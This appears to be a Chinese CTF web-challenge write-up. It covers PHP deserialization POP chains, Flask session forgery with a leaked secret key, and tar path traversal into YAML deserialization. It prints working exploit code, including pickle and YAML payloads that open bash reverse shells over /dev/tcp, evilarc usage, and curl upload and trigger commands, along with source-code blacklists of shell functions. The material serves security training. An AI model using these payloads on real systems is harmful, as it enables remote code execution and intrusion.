$rce2=$this->exp[$rce2];
}
public function __toString()
{
call_user_func('system', "cat /flag");
}
}
class Yang
{
public function __call($name, $ary)
{
if ($this->key === true || $this->finish1->name) {
if ($this->finish->finish) {
call_user_func($this->now[$name], $ary[0]);
}
}
}
public function ycb()
{
$this->now = 0;
return $this->finish->finish;
}
public function __wakeup()
{
$this->key = True;
}
}
class Cheng
{
private $finish;
public $name;
public function __get($value)
{
return $this->$value = $this->name[$value];
}
}
class Bei
{
public function __destruct()
{
if ($this->CTF->ycb()) {
$this->fine->YCB1($this->rce, $this->rce1);
}
}
public function __wakeup()
{
$this->key = false;
}
}
function prohib($a){
$filter = "/system|exec|passthru|shell_exec|popen|proc_open|pcntl_exec|eval|flag/i";
return preg_replace($filter,'',$a);
}
$a = $_POST["CTF"];
if (isset($a)){
unserialize(prohib($a));
}
?>
通过PHP<=7.4.21 Development Server源码泄露漏洞泄露p0p.php的源码
紧接着就是打反序列化
<?php
class Yang
{
public $now ;
public function __construct($now='',$finish='')
{
$this-> now = $now;
$this->finish = $finish;
$this->key =True;
}
public function __call($name, $ary)
{
if ($this->key === true || $this->finish1->name) {
if ($this->finish->finish) {
call_user_func($this->now[$name], $ary[0]);
}
}
}
public function ycb()
{
$this-> now = 0;
return $this->finish->finish;
}
public function __wakeup()
{
$this->key = True;
}
}
class Cheng
{
private $finish;
public $name;
public function __construct($name='')
{
$this-> name = $name;
}
public function __get($value)
{
return $this -> $value = $this -> name[$value];
}
}
class Bei
{
public $CTF;
public $fine;
public $rce;
public $rce1;
public function __construct($CTF='',$fine='',$rce='',$rce1='')
{
$this->CTF = $CTF;
$this->fine = $fine;
$this->rce = $rce;
$this->rce1 = $rce1;
}
public function __destruct()
{
if ($this->CTF->ycb()) {
$this->fine->YCB1($this->rce, $this->rce1);
}
}
public function __wakeup()
{
$this->key = false;
}
}
$now2 = ['YCB1'=>'readfile'];
$name1 = ['finish'=>1];
$finish1 = new Cheng($name1);
$Yang1 = new Yang($now= $now2,$finish=$finish1);
$Yang2 = new Yang($now= $now2,$finish=$finish1);
$Bei = new Bei($CTF=$Yang1,$fine=$Yang2,$rce='/tmp/catcatf1ag.txt',$rce1='1');
$abc = serialize($Bei);
echo urlencode($abc);
?>
www.zip泄露源码
要我们构造session
from flask import Flask, session
from secret import secret
@app.route('/verification')
def verification():
try:
attribute = session.get('Attribute')
if not isinstance(attribute, dict):
raise Exception
except Exception:
return 'Hacker!!!'
if attribute.get('name') == 'admin':
if attribute.get('admin') == 1:
return secret
else:
return "Don't play tricks on me"
else:
return "You are a perfect stranger to me"
if __name__ == '__main__':
app.run('0.0.0.0', port=80)
burp抓包拿session
在用flask_session_cookie_manager3 进行解码
python3 flask_session_cookie_manager3.py decode -c eyJBdHRyaWJ1dGUiOnsiYWRtaW4iOjAsIm5hbWUiOiJHV0hUIiwic2VjcmV0X2tleSI6IkdXSFRlOWFtZndiTG5nIn19.ZPN2Hw.Mbm
Ga-uh2s6Hu_q-rnL73Ed85TE
得到secret_key
python3 flask_session_cookie_manager3.py encode -t '{"Attribute":{"admin":1,"name":"admin","secret_key":"GWHTe9amfwbLng"}}' -s GWHTe9amfwbLng
拿到路径
访问之后又获得一个提示
可以看到传入的cookie获取了pick1e值并进行了loads处理触发了反序列化
exp:
import base64
c = b'''(cos
system
S'bash -c "bash -i >& /dev/tcp/123123/9999 0>&1"'
o.'''
print(base64.b64encode(c))
KGNvcwpzeXN0ZW0KUydiYXNoIC1jICJiYXNoIC1pID4mIC9kZXYvdGNwLzEyMy85OTk5IDA+JjEiJwpvLg==
接收到反弹shell
权限是www,suid提权,获取flag
题目给了源码
import tarfile
from flask import Flask, render_template, request, redirect
from hashlib import md5
import yaml
import os
import re
app = Flask(__name__)
def waf(s):
flag = True
blacklist = ['bytes','eval','map','frozenset','popen','tuple','exec','\\','object','listitems','subprocess','object','apply']
for no in blacklist:
if no.lower() in str(s).lower():
flag= False
print(no)
break
return flag
def extractFile(filepath, type):
extractdir = filepath.split('.')[0]
if not os.path.exists(extractdir):
os.makedirs(extractdir)
if type == 'tar':
tf = tarfile.TarFile(filepath)
tf.extractall(extractdir)
return tf.getnames()
@app.route('/', methods=['GET'])
def main():
fn = 'uploads/' + md5().hexdigest()
if not os.path.exists(fn):
os.makedirs(fn)
return render_template('index.html')
@app.route('/upload', methods=['GET', 'POST'])
def upload():
if request.method == 'GET':
return redirect('/')
if request.method == 'POST':
upFile = request.files['file']
print(upFile)
if re.search(r"\.\.|/", upFile.filename, re.M|re.I) != None:
return ""
savePath = f"uploads/{upFile.filename}"
print(savePath)
upFile.save(savePath)
if tarfile.is_tarfile(savePath):
zipDatas = extractFile(savePath, 'tar')
return render_template('result.html', path=savePath, files=zipDatas)
else:
return f""
@app.route('/src', methods=['GET'])
def src():
if request.args:
username = request.args.get('username')
with open(f'config/{username}.yaml', 'rb') as f:
Config = yaml.load(f.read())
return render_template('admin.html', username="admin", message="success")
else:
return render_template('index.html')
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000)
这一块判断上传文件是否为压缩包并解压
if tarfile.is_tarfile(savePath):
zipDatas = extractFile(savePath, 'tar')
return render_template('result.html', path=savePath, files=zipDatas)
else:
return f""
extractFile
python3解压函数遵循unix的解压方式,可以进行路径穿越
https://raw.githubusercontent.com/ptoomey3/evilarc/master/evilarc.py
利用此脚本构造
命名为admin.yaml
!!python/object/new:str
args: []
state: !!python/tuple
- "__import__('os').system('echo c2ggLWkgPiYgL2Rldi90Y3AvMTIzLzk5OTkgMD4mMQ==|base64 -d |bash')"
- !!python/object/new:staticmethod
args: []
state:
update: !!python/name:eval
items: !!python/name:list
构造tar包
python2 evilarc.py admin.yaml -p config --os=unix --depth=2 --output-file=config.tar
然后可以直接上传
curl http://dasctf.com/upload -F file=@config.tar
然后再访问**/src**触发yaml load
curl http://dasctf.com/src?username=admin
非预期 文件读取直接出flag
/read?file=/proc/1/environ